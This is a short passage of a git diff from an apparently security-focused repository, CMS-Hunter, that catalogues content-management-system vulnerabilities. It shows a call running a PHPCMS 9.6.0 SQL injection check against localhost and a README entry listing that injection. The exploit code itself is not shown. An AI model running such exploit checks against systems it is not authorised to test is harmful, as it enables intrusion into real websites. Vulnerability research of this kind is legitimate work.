phpcms_v96_sqli_BaseVerify('http://localhost/PHPCMS/PHPCMS_v9.6.0/') + testVuln.run() \ No newline at end of file diff --git a/README.md b/README.md index d547c66..de1421b 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,6 @@ # CMS-Hunter Content Management System Vulnerability Hunter + +### PHPCMS + +- [PHPCMS_v9.6.0_SQL注入](PHPCMS_v9.6.0_SQL注入) \ No newline at end of file